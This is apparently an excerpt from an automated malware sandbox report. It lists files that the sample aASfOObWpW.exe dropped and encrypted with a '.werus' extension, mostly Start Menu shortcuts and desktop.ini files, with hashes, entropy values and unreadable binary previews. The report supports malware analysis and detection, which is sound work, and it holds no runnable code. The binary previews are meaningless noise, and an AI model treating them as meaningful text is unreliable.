Preview:	".......d....<.<>q?Y:..N.iq..Y.E..i..O.o.+.&E.....EQ......tr..#..,.hC.+.=gC...m=fm.....Raa.u.J.....6......?].W.....Z,9....e...N.~.......'.....H(..#(.K.. ..4.J[Sg. .....~'..da.n.H/.V..S.4..\.u@..X...H.....EVa.6.p.6rc~i.:)-..,.9I.6V>[..X......d.g......Sj_.aI.....L..I...N+.%....t_..6H..O..Xr2lO.(...P..Y!.>..$...,6..]^-.AcE.....@........$....r....2.....g..0<....../..._.-.o..qm....?.s......v.T\|...U2..DJ].U.i..1...!]7....c/D..)..._..y.y.O.e..9....R_.f{l.a.F......I\.lL..e...%.~Z....'....q..3....Bv.l....pFoK......Z........F...Ji7..7.i..g.4A.\|.../~..Mc..d.+_..Q............j.....9!...xA..u..u...."oJlO....O7.ge>.....bF.,.t...t........`..h..]..;..$+......E@i.....`..[.tq4q.;.4.,2..`...M...(.7 Tn5..T.5q....ZN!.........A3.QG.I.;........k}.%.i...%E.t.8.M...FS".......2.0.y.......@..%!..y.h......E...ue....&..GY..Ur.9.H.Ox..@Q..;1V.E...3.j.1..^..;Y..@..G.R..q=53.Jw...[c..1......5..*..r<&[.....ec'.UR.f....x..."[6.)me.g/J.i....)[.w.H..v..N."..FHS.

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Bluetooth File Transfer.LNK.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1056
Entropy (8bit):	7.798869176553583
Encrypted:	false
SSDEEP:	24:qUiMiCg4I2GoQtso9TBmgXopjb8vHC47wNEi5yCm+Z:i/CgVMur9TRXopjKC4761m+Z
MD5:	62E1501B35D0A0440A1338394FB73AB3
SHA1:	7430C1B388F2195800670009EAA2102626A3D8B7
SHA-256:	53BCD238140D1D4D7FA34A0525D4E436A07F35C26BFBD8A7334E2C1A4955F2E0
SHA-512:	D67E91C231559F36A5AA4745017A295C4604CD955DD7F0E3EE49306D1C13C1CEFA01B06CAB68E93204FDB90E2823DE50B865B385020E4109F07F0165B9DBDB66
Malicious:	false
Preview:	.i........B..Tf.x.yk....(.l.c.n..7v\:.Cf.VE..[......{......V....".QNUs..Mcdln7.!.fg.x....u..$..i..7Xx..U.y^..Jj...Z.Y0.2#.<.....m....w.3.t.8.f.y..........X.u.g...b..{..j.....$r.!....!..t..!. B....>K..".IP...{.]..yE..R$X...&Ma..NU.^,.T....uR..J....M....z....... .).'t((....2.;.....n.]Z.A1..,....?~1..\|.N.........N..U......i7...?k.p..U.......]....%.n)..A....2.9......[c...(....a..i.<.F^J.R.b.S..l...74m..U..-x#...Q........ .).{..8.......WY3......D'fM.........c......q .a...{.H.u...{..nr.64c'n.>.$/.....af...K...>..O.D.......C.u..V3.[.)..4wD..e.^.s......@r.N..Vu.....9..#/4.....uX....4.1..9.T.2VI...9.@i.j.....6...l18......qSY..8"-.Q^.n..A.?4.4A.n..4"x..i........L.'&?:...:y..x.33.$.y*...O......ff.$.:.U.>x.?.....0O...LY8..h...l..[Y..&..N..%..v!........`fol...Wi...2.-.].npeo.`).a...C....O...B$t.X$.~..v.E...B..Y..,b../CK.......y}d./.[.I09.o........{.....Xs......:zp............4e}O....s._.T[..b.B......YD...K.z!....d..a......'%V....8~.Q.q^.`UgG.Z...

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Compressed (zipped) Folder.ZFSendToTarget.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	Non-ISO extended-ASCII text, with no line terminators
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:8howHn:8uwH
MD5:	C97A1BA60A603BFC82838915506F03D4
SHA1:	DDE1A5DD4A49401955E358E31866DC0B9E5B4CF3
SHA-256:	0F36FBB4519B1240FC5BF5C08FC2E7E3A2540F40FAC7CF2BAED73228A8A58AE2
SHA-512:	BB515D6C4D6B28CA1A472B0A025248456DDCC1719ADF527514FC4C73D4EF1F67328E2C1A6DA7484CCCC2F5920846FC64A14F82E5DB1B49B73B226CF351C7E37F
Malicious:	false
Preview:	...?..c8...,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Desktop (create shortcut).DeskLink.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:dnSEv:dnHv
MD5:	C3E0CEC19062B278133132C3E7CA3F28
SHA1:	69782ACCA4FCB3B85946E10AD19943E7D66E9387
SHA-256:	A6ECEC8B05FB83BF3FD39B5864433D4636F60A6C2B311B77B77EC1C3693BFFC3
SHA-512:	9C0A8032274535CC4DFCFDB653D14122EBAB81A0EFC84953F8FE4A22249A6F24A05C1367AC6C8885CC90F9F36C5B6C3BEDE31F39CF222097E14E60A1C915FD98
Malicious:	false
Preview:	..:.qsh.....l.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Documents.mydocs.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:Ze7oTPr:Ze7u
MD5:	81824B4AEC9F6B0BE6FCB7F5B0DF0A96
SHA1:	FB3F9AC4E729CB04B9D0B9E403CB36B956989E26
SHA-256:	50A3A28BC237269F33D8695BEE16D6E2E62042D1AF549E743E6AD771E7AC3798
SHA-512:	E5F23360D1F4B7C23D0C2FE5C8B4ACFC1E600C9724B99CCFFACB7AC8B3E0758DB98CE3F15E6CB20134EB66FF4948F2803506DB855DB22D020042C9DC2FAA784A
Malicious:	false
Preview:	.......u...Q..N

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Fax Recipient.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.823453119919375
Encrypted:	false
SSDEEP:	24:qSy5Czegd9O93thpC73pr2rMljwMFq0dGEFo1zfFP66kdexi1T:G5Gd9O93bpkr2MyMomGEFo7P6j3T
MD5:	4ED14C881D2B8D786ADDEC2B78E7D990
SHA1:	132D8FCE441206915D5276F4CFA5C125484E92AC
SHA-256:	8773FDE6583F0D43784FCC516A1372C4D9FFE91C67D7A89A4624AA076381583E
SHA-512:	BD34AB169C8F64AFC54313F191F4E5FE6A3DBFF13C4936F8FE34EA604B34B22250C8AD0424AEF024B145A188581B3932CCF024F24686C1BB7CD3100881D79FCC
Malicious:	false
Preview:	.i........B..Tf.KYy..[...T..r%K.`..W.sQ..T.....Y.?..j.~..d......:@&..t....H...?s...H.R.....w..2Sq.."b.z....z......%...&.+..}i..5m...V,..6,j..:N"..5.WM#..>.....).....~ z.2a..........I..M.'A..;Qy..A..b../..?$...m....U)4.4...R/..-<.Jj..-."...&H.m..vP.]...<...e.....I.. ..........O....n...#.zF..&G..?..e.J.. v...S...,...:.x."3II.nR......9.D...=n...L_F....&AL3v....R.Is..y..\|..0.....ZPG.s.L..B.:a..v.u.......M..t..~..g6C.......T.....`T..b..}..cb9.#.....["..7~`.....Z]..}..@..N..t...mj!..m...izEfB.D0S~4p/..L.s.....e.hg.\|..vm.RYO.....6.7D.:.n.n.l.T.m.5.\.t..g..c .+U.~H...Z.TV.....1..y..h..A.RW.>.(.6..:...../A..........w.v..al8..fd..&........Bw..0.iUrk...>..m.-..3Tt?.?.....p[Y..F..\|R.<)..xa7..K.z..g4a....0...z.......n.....7.X9...!.Ic{.h.@..c...)1s.I.V.;..8..4.....#G.vl)<9.5....9B..k.!..7.4...Ad.FZ<..be..J .9.g..=..]....lr.7.....C#w...8..."<......TU..l..r..............T.S....F........L.h.....(...d...Q...c....i..Wo.P.AI..a.il`*...YwoBS.`.'V.v....q.'..

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Mail Recipient.MAPIMail.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:kTEn:z
MD5:	429ACAAB11AAC01AD2EDE502A1B48822
SHA1:	C7F218B43285643A1DBD9DF3B86F91BBE45E0BC2
SHA-256:	4502F17C54DC96EFEE9891B42C23C3D10F1ED14C0740FC168ED448223B36EDB5
SHA-512:	FB88C2208E1F0B10795FB03D1F314B2BC3517D5F161B5243D4CE9E7CD9634688A9159CE938A9F008B7291BFE1D954DBB99BA0F8A181415B73AFA6D968091DAB9
Malicious:	false
Preview:	../.5. .U..;.lT

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	704
Entropy (8bit):	7.706037363990192
Encrypted:	false
SSDEEP:	12:rQtmGVfslxa1jy+rTVny0sic6uenD9mQxbpkCq9P4c4sxjjMjw3NaKTqkUKqs:Ofsl4rE4r3Hbpkj9wDsijoaxm9
MD5:	749C433EFD156F3CD843E069F6DC6CA5
SHA1:	0A7B88FC3D8F3B7C090669DD4B7CD93CDA8FE580
SHA-256:	1B486F77EA4F7CE39FC7917CE3FF4D5A6AF9361089D8B78D75B7BA2A7ACB9F6C
SHA-512:	9E618F0A97AEAFF66C7E9A61794AB535B580D63157CC5AD9A68E8389B4C3404B59A225F700E74B7DB51CF7B2F010CAB3E672A6078ED030D8B0316A6DC7F18738
Malicious:	false
Preview:	....#.iK.3q...2%..5s`V...\|f.(=........5....nM...m..3WW..EiLGg.c..#......@...K.6.NY.m...eH.^.x......$:.?a.l..4...a.w.#.A..4.P&.f..^..&..I._...\|.q..f ...H..g..<...........=V...>q/..9..iV...[k.&.M.=.b..J87.Pc.A.B.Wc.[Z....b.h..b0.vJ.......T..M.>k."..$.......:.NI.}..(+.8ts..4.$"f-..Z.........{....KY..x.fm.ZW.JZ.i.....I..eDf.Lg.e1.4...5...8T.....H.&..Q......A.q.#.......(R;.......... U.....fXM+....0."..A....HY.7.(..II.)"8..e.q...Vk}..#d.q..S;(.WZ...&..t..L..%~.a..E.\|.$.z......t....:.q.7M.r.j]..$._...9.i.p.e.k.........Z.>..=?.V.2......m.....;#3..r ...3.Y6.~....NW&!.E...].e.....q4.....~Q.h......}.3.z.8......eCpd..?N.'N:.='q.G>......X..Vk.t[.v..q........e.Q=O...^..=.Y.".....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Magnify.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.818607810722979
Encrypted:	false
SSDEEP:	24:q2SdBFu9z1wGZRoRYjA1J9oljWvIq1KFaQGLLGFGNE2Qm:8Azto/9iKvIjTcCm
MD5:	56DCCAA616191B48A91054D056648ADD
SHA1:	AE6BB69BA762D214184F649C4479C740A0A34EAF
SHA-256:	17CCF94431CE597B9B7799F036CAAB8DC000441AAAF3BE405D05A485F64A0D87
SHA-512:	B07E46A5EF5F88A0F425A45067C2AD3D90BE6EC168BA6B5A5A9BD2DBC7DFC763EC3CFF00ED7918FA71DB784EF875D8D27AC321268701F1CFD0E1F188999145B8
Malicious:	false
Preview:	.i........B..Tf....1.\|....u..o\|.....=.c...%q...E.d..1~H....@ES..&.pw...-..,..M.\.....0}..2&...8.....k..n.=.c..I.fp.eX.....J..Vz....5.._..e......?.On.....y.5f.^...b-.VeNA.2#M...@.]o..X.J.J.....d...`.....pf..i.....b...$In;.).m....Y.3..t.<.d.b..u.{&..nSv.'.:HW8.]].......F.z..V..}.jA..4w..4..!.Uh.t.o........C..^.i.g.o.j1.c+..c.d...[.....r<...<...:.S...2.........N..i..F(\X.R...[...X.1[....+....i..._.Lg.0z-fF=M...w.._OS..e..=k......}..y'...4.+P...S.Q.c...s.....G9.?...v0.-.p{.V.-.....JR{..f.....N.-..OHnv....G.+.......X.N...d.T..(h.....cy.:... .......J...~.#...gZ.]....<<.f....@.Zz.35:d...\..08.7W.-@.)..a.......u-...?.zu!.R..E..]..X....X.w(.d.&..u.w.....PQ\|`.bZ&-.......).ba...r..f...;N.I..}.w.D6@r..!.rs..x..r...M...]..T..gk......&(JwK..1I.-...;.AG8..x...]..].P..dS.K\|..b-;.m......34.B.....ws.V..}.5..$.0S....@0W.2.Q.v..../.Nu].[.....f..%.....t...j.i.:..R.W..G.W.....X..v3X.......t.:...hb..[.H.FFS.....p.R....G,.S.O'ac....W..Fu ..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Narrator.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.8489055654965485
Encrypted:	false
SSDEEP:	24:q2SHQzXKxDS2ro5rZBnVrewIITJAFfNnN9ARGrtQNoC:cAXKxDRrSrZBVrewII9A9N9AsrKoC
MD5:	9F8EB54054496F4EE0E5B77B54B8BDF2
SHA1:	F939B18F6EC7BD5EA161D2D66B6B19EF120326F4
SHA-256:	585F91D115F850F9F4D03174E0019B429895E2168DAEB6BEDB7133833D567283
SHA-512:	7B9D4DD2CE39A6B8A8CE071AF68ABEC1B7AE5B48CC543B7E99EACEED6023B3344082165EACA0A354AEF744959081BA1AAB94F625824A48EAA9467A7ED0795AA6
Malicious:	false
Preview:	.i........B..Tf....1.\|....u..o\|.....=.c...%q.`lD9.{..B..<.>.........N.FU..P.`{..L..P....t.T.%.Ctqr.H[..Q..Cu..W. ..)...`....w..(@.1.......=..].[x.....gk.Z..Z:.wh..?.j..=...P_6.....Y..tx..=CW.:..s..ZEq.`.....F2AV....7..H.R..&\|..Iz.5s...j.J,.Qv....W.!m.PV.......Fr..{...;...L)....{.....k..$\|S..nq......hj.b..V.gsO..-Z.]...U...W.c......[%...@.....r.&.04.).-.0......-.L.8..o@.w..M.<.M..a..;..Ni...&.b.....G.'......@..y.~...nE..eM;k)c..k^.g...qO.d..>.\.......?......)....@} ..^..L8Cb`4\../..UB..t.^..2...(.':C...,x.../...E\<.0v..6..9.%.]O.!t8Ho..PG.1.=....%...q$...\.#...H...\'^h6..X..._@/.Zkqr.S...... ..g.I./GO.26d.N..F-.Y5....\|.>..S.l....@T7rJ.+.._U?J.b........C.2h&G...#...@.{a5>\..\|<e..7R...%d..a.c.Mw..F=..@......{......R...+..H..l..............pa......Cn.Q.pQ..h. .1C..L...e.).d..U/~.......q.^g..S.\...XD..mX..E.p{.3.Z.......q.a......Y.OD.....#....^.....~..[.N..s..R..'}=6....yl(..W../7.....Q@........L..V..).e.=.....h....~.'

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\On-Screen Keyboard.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.81145056072059
Encrypted:	false
SSDEEP:	24:q2SzsYk5mmtewc98RZpWiG8Eq7Uvr+pM4CP7AyFHzq1Ndy21bMM6l:Wnmteh8L88or+24v+zq1Ndy21oJl
MD5:	9563E822393CE6C0012B82C23CC887B3
SHA1:	2B7F4E2D42EADD492BD4C7D9FBF25AF5316D7F81
SHA-256:	7882509A856975A90670E774E055E1CCAFF29EB7BEC82B2939C2517AE403DD42
SHA-512:	E49F44F78535B396DF639F4517EA5B47372F587A38D3F9E30B553975A9AE125EA827DB87860FA54D81817AADE34CBA0974EAE2679607FD1B9D2D00FFE7C27C0E
Malicious:	false
Preview:	.i........B..Tf....1.\|....u..o\|.....=.c...%q.`lD9.{..B..<.>...qS.k.Ax..3A..6....ts.....i>.\:.....Ij.G.\....T.a.F9...7..Bfq,.p..K'.#../.".=gh..r.6.....M....H...a).S......N..DI.....'Z.v..N.8i.^b..o.........A}u...B....y .5.d....e3Cu...S.x>f.k.......T...K..q@..}...}...z......\.h....N..bZ.OZ......h..J .{....@..v.....EX....`......Zb>..<\|..R ...[..ZM.ve..._.Gp..e.#.4.....)j.>....{..wO...G..".#y.;.1../.".....\..unH..>T1..._%...r_<K?.0L.c......"....0.@.1......X...>.).....k1k..\|..7.b...........`'h.\.v.M.s..l....1......_....;...j%..y.......h.r`..=...=jm9....J.=..x[..v..:O..r......9.<3v.v....G.C5}.z5B..i.K..[0..:....3h.0....9u..W.s...B%za.a....k...T.....Y.-.69..=......41GY....P'~.^..jy.D...S6..u../.R...;.......T,..W<.....{W....BH-.H....{F=.B.....Fa...3...=R.4....T/<n.F.ybS.p.{.(7...M..[ .W..M.....c..&.....j ..V...o...J.2s..5s7j.o...mH...\|._..<.....p.&]".{..\.h.7.s...K.}..b.g.........[.M.W...i..84i..y.{(..............-.Z..G.4.....m.....X3..g...u.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	576
Entropy (8bit):	7.629464784303458
Encrypted:	false
SSDEEP:	12:sjDGiOQZcxHi9YUqf5Pi9NJGCUVn6+rjDp5hynFWaZV2xHEQh:ADGtxHi9WfU9fGCudDp5kFWdHj
MD5:	AC850EC1EF84B3C8A081CF0744A145C1
SHA1:	4CC25F1708D558312E56E9A2731B4EB43D12EB9A
SHA-256:	611AA025A490B6F8344CAA5B2653333C3779CB8C28BDC2F6557F88693F53211D
SHA-512:	32CB80385B4F0F6103FB92D7DDD17FCE777E17429A000618548BBD8A1F0CBC35357D643D0958A87C6E30F4345F6D4DCCEEF98025BF41AD01841547B26188870D
Malicious:	false
Preview:	..@I..,....u).%.\|H....M.]..te.)..^.Wr...\|.N. ......r2kvy...@[..o.H'l'..w. ...'GF...7..g.v:\.x.rr.`k...V/.v.zMX]B..w.S.....T....$......."Z.]...:....=-t.h.f.......W&..\.O.@....P.,e.b..;M ..P.9....W.bLu....d...&....^......O....]".[Tw.......U:...;@.4..=%..5..`.f.V[........,.....B.*...#...=.CV.z.{Z).sa.pj.m...Z.{.%rj..O.m.JB.9..@.#..<.H.....$........].....A...L...W.v.,C...nY.X....(T)....?}`..........5b...B+.s......}."..".u.+JK._..8....J..LP.r.Xk.....3..N..}...N.Q....xNH...O`../J.I...q..A.t2}...V.2"'.X..7.Mw.=X../D.....,...m...{.).m.3.0..pd.`.k..C...b...A....).+

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Internet Explorer.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1344
Entropy (8bit):	7.856198199036764
Encrypted:	false
SSDEEP:	24:q+8vvIUAFYyeLOo/4lxFNcSkYkqb2Yn/zlkEjHPlDw:0nJF+nXVkNqb2YlkMvlM
MD5:	F0FCF7E051834B7A03428148BB298EB3
SHA1:	E0C0452FB180DB5A62A33C6725769B7569035611
SHA-256:	C00087E3E1DCB9EFDE4EA80DAFBA31C8FCA83CCDCE7665889201474E0E6D4307
SHA-512:	C10EE34F86936C56B16CA876B4D38EA0722C6D20747958B9D242CE7239A9970E9872CC01368E73C946935C03DE23415DFD708DDC8F5BF66D3BED73C8680EEC8C
Malicious:	false
Preview:	.i........B..Tf..Ny..9......N3^\...P'....H.....?i..$o..J=...A....4..oV@..:.Q.lE....3..."...1.F.XmG. ....P.[g4h.r..-N.yO./>j.=.W...............m..>'..'"....H,.=.%.I.....=4....,M..t............vk.5.!#vj..G.A[..%..,...Yc........S..Cd..jE.:. ..m..>.r......<'..S6t..a.N8<.E.-...^...%w.~3..WO.X.4.....?<...t".Q..7=.........}.H...:R+..Bb..!..~m.y.....Z../......u<jN..f.}....gE....u.}.u..\....a.0...~&.f..........e..._Q..Q...!q@+.C....... ?n.MH........\.....9H..^.{I......l!S.-.:9.......T. .Lo......6...Z......?.@..(...i.Pq.#.18..M.!Xqy.F..<.......+..hW.W.E..... /y.Kf.0..T....x..%Wb....).]f'......?.g.&.s.#..c.....' ..-Q.....;8C..w._....._.>........j..m.qsvHF....L:...7..$..........E3BP%!.654.=....G..@i.(`>pq......G...!..Y...+..x...\hB.B..Y.V3U.rd...JhC(...BG..=2.n.s....Mt.......Cd.'..j3#=..9..#.S0.YG.I.f...P.h6....@......?A}..I8p.B.........<2..".......7I..OA.%;g....6.'^L......H<./....x...H......z+.R...p...s....~..Z.....Y.B\|......S....I.~..?"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	352
Entropy (8bit):	7.331275316047484
Encrypted:	false
SSDEEP:	6:slFDy1dbmOTcKCWS7x3ikkH8PQ49YoBqf5PdE77quU2VcLK4GxVbnVnhd1KW:sjDGiOQZcxHi9YUqf5PG/VcW4GxVbVn7
MD5:	3F86CCA707ADE6BCDAD57ED26DEEBFE6
SHA1:	D812752775F2F330A932F38BE441DAF695AEB94A
SHA-256:	20885AAABA3BE85A8DCCC244524550653FC7D6259011B09039F9440874C92942
SHA-512:	DE7ED0B1D068168CD8CD6D4ADB5CC0A8E0BE7E6A075449A312A7C56F0D3D0E92A4C6D76189741590EDC46C2B7D66E1D84D14F21CEE0C43AADCA559F51173B3BF
Malicious:	false
Preview:	..@I..,....u).%.\|H....M.]..te.)..^.Wr...\|.N. ......r2kvy...@[..o.H'l'..w. ...'GF...7..g.v:\.x.rr.`k...V/.v.zMX]B..w.S.....T....$......."Z.]...:....=-t.h.V:......:.:EOxK..+8...v...p.mp..Qv3.;..".....!..^ 6.+.Bc....(.c.PDLLS.3...x2.K...HY...Sk.........RT.:.' P....s...c...H..{...(Q.6.q..C.7Hd..._..H.fW..B...q.D..B...J&8.}...h<...e.A2..%.b.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	176
Entropy (8bit):	6.743209388817354
Encrypted:	false
SSDEEP:	3:wCozOsjol1hLRQXzggufFpA87W89Zdf4vcjFJytQTzzmyVBmRb8lhU3ALLSaFP8O:wXaiw1hLi4fFp/rndfDF/CGBab0huA/9
MD5:	262BEB1D077D748BE7BB11F5372ADAA1
SHA1:	7B04C8E9484A396B8BE04E614C6A2F5C01C82F60
SHA-256:	41EFECD3951AD065136684B72B9CE25652DD46014753EE5088A5BE091F63919F
SHA-512:	F2BAFAD7F5E88E63E058C67FC8C5FF885631DE1114AD83833147EBEA61DCDF2A54CDF12A6E42A9D6476BB1B793C0C7979F950520B9EFF220E7C23267ABFC3BDA
Malicious:	false
Preview:	9...[.O......i.....+..K.m..U...>4@...OA.g.6Pe....$...\....@...e...........J`.]....c).`...u.../....vY...ND.C...+........!.R......P..7..........,=;.En......y%"...#..\|...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	176
Entropy (8bit):	6.842787726518096
Encrypted:	false
SSDEEP:	3:slFJNyWTYrx3biZOTc/CCWS7xwCijkNTRkXX8Pmn4g4YoBxsfpHPmVDmw0:slFDy1dbmOTcKCWS7x3ikkH8PQ49YoBy
MD5:	987DF1770EF71387DB71D1D1119F97F9
SHA1:	E0529726A4DE7486998A8A470852E672F10F588C
SHA-256:	EFDC2B1FF4B96D046E990C832B19715C7EE26B963A260770A7E0242BCB8F74E5
SHA-512:	C1E438C4C5AC3D8215C727322F5A45284F732EAAEC61C4848649FD33DCA55DB2B8E44E294DAA20B899D78024193FB9FCC31B7AF80062AB90F71103A1E2CEB4D9
Malicious:	false
Preview:	..@I..,....u).%.\|H....M.]..te.)..^.Wr...\|.N. ......r2kvy...@[..o.H'l'..w. ...'GF...7..g.v:\.x.rr.`k...V/.v.zMX]B..w.S.....T....$......."Z.]...:....=-t.h.>....%x.vK...M.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	176
Entropy (8bit):	6.7793714795934905
Encrypted:	false
SSDEEP:	3:wCozOsjol1hLRQXzggufFpA87W89Zdf4vcjFJytQTzzmyVBmRb8lhU3ALLSaFP80:wXaiw1hLi4fFp/rndfDF/CGBab0huA/n
MD5:	3AC481C31B7AAC401DBB7304708169D0
SHA1:	7AD3AE1D5A59B1BBAF7F13A78DACDC9754431B83
SHA-256:	50E1557604AF3E7816EDABCB25983E3AD1E914DA22284D572F12367A55948CDC
SHA-512:	B5E4C287820203A4BDE94CE1383187810E5115256CBEF818DB20C034B40E8532470D209EBE544C4AF90C5240D4ACCB6451AD6FB350259447723F6B379EE200D2
Malicious:	false
Preview:	9...[.O......i.....+..K.m..U...>4@...OA.g.6Pe....$...\....@...e...........J`.]....c).`...u.../....vY...ND.C...+........!.R......P..7..........,=;.En....k7$.2I.lBb.H*1ud

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Administrative Tools.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1296
Entropy (8bit):	7.865000369494326
Encrypted:	false
SSDEEP:	24:qSVcDWTgc1bmZjhs3EPVGQgD7+Mv55uxBEzYvzOG3Fh:hskmZj1Gl7N+qgZ3D
MD5:	489BB84014E72295123B5527CBD64B71
SHA1:	C9506532DC355C0CFCD2BE0E9209A9163C83B81E
SHA-256:	CBE0EF8337838215BB4F151C54F679D9DD74F6D92C76EFC7066D4924DD8E53B1
SHA-512:	2FCCFBBA61AFBC0D5E9ADE7D6340D1D3FE2A08C01285AE2B389F312412F1F83B949AB87D7235A4C0E68659BBC1E1B15EDC43AA9EA69A4C2DF86577953AF6B7A9
Malicious:	false
Preview:	.i........B..Tf.KYy..[...T..r%K.`..W.sQ..T....&...q.)M.........g.r.......S.G..=..<.H..c...J..4.0i....xK..x.i...{.>;.lD.c.z.\do.[t......0..nz.&.&,.(.8...!1.^.4k..cD.9=..v.1h..a.P........v..@..V..A.B.........5<.'.\}..B{../..:..S....Hv<)..?.~O.p<.....qN.d...=)...............,...a.}R.m.G&[.5m.m.p8..?..X...B..Sx...J.j,..#../......s..6.1.. .._.?.hH....Fk.[..U.3..b.- (...P.v......i@.........98h. ..$xaC..Z....<..ox..#Py.-...=..L.^z..gd..E.{.......z......k.%..z..>M..0&....z..U..3.._....gSWz.A)..O..3Sh.\|...U...s...S...K.....YC....(^k.Vy...4..5.m....{>.\.$...c..2..!..a...f"...Z.0...7.........u..nAK...[....Q.0;..mr..b..$.{.l...&."=.....q.P.....IU....dGW....E...M..O'.....s...".:.<Q.7..2.]d^OO..n........W....ih..9eKt.....Q.hog.a.!Y.9:zpX...-.....8.T........GM..nF[..&.N.2.(_..>.=C6....p..LV.@K....bo...OD.'.....%.....9..x.Z.?..w.E...y..=....4.;.O..........h.q..........UD..Z'@<X^.3%. .r.....w.h.E....k._.!.\i?JD....Nk......EY....4..p...D_

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Command Prompt.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.832945786446619
Encrypted:	false
SSDEEP:	24:qPBQFMzhKcxCCD8czzMzjsoIaNj1sdR6NZ5KNfiS29O4ZzhGNE:AG2zhuk8wGjXWCZ5KN6+4VmE
MD5:	603AE8B4F53AB86B2699739173A78221
SHA1:	7989B8CB08A0EC5DE54DFDBD925222F28A9E6E3C
SHA-256:	1570D92C7F1456024324FFEA41F9C94EAE1DE6A9E8DFD773F25564FD14F3C738
SHA-512:	62E7742F61F7D5AB3E3F9DCC7C7C36271CAB9A3A5CF4FE1EF91E67528216BA2C786D2AC6EF97D5887BDC909F737A90AFD1197E2CDC1DA89DCC0CBD22CBCBB438
Malicious:	false
Preview:	.i........B..Tf....fyA.Q..@L..+]j.?].R..}..6Qr.zE."....0_ x.#.sw..r]..%.a..........>9.E...~=w...~UU.....t...G.O...@.Y..x.;....A.1.$.G.us.f.#ACTp.k9Y..Z!....R.=.....+...+.cv.#M..Q.=.LI......~....h.9..iD8A.tB...g.m..9....[..=c[..j....\m.\S..eX\..a.._'...D<.)Xg.W.. 58w..L..V..wc.\|%.Q...5G.s.....k.;.$^...G\.T?y.!8......j.\|.I....+...am.._......Z)S@..z.e.....:..Fx.\|.p...I.....G.w..l. ....}M......8...J..l........ ;....UD.2z.S.W...ySa>B..\3..h/vu.u...m..Q...:T.`..1...y..yc.A>.3........~..%........$P....-2S..4.....^.R\|\|Ji.. .e.f.F.}.xHR..8..SR....dBQCTO.....H.....p..0.k.p.....G...l..>.u.o,.xPA.u....$Nn..=..5.&B...s.n.c..Lk5bn}S...(s..:.q..(.YgI...`q.}....^.'....H..q.DvM.+.K_.......,b..z\|.e.V.4...M>kSe..>.........=......1..4.....Y......^..h.i......^]."r....DD..OO...f..........b.g..+:.0.....-...X.K.z.C..$.z%f.{.....(..goO..hr...`....>..E...7........j.g.U.=bj.N...k=.......ySs......}..@.`._ m...$.y..1'W(3.P...e...8X;....t'.r..D..).'8

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Control Panel.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	416
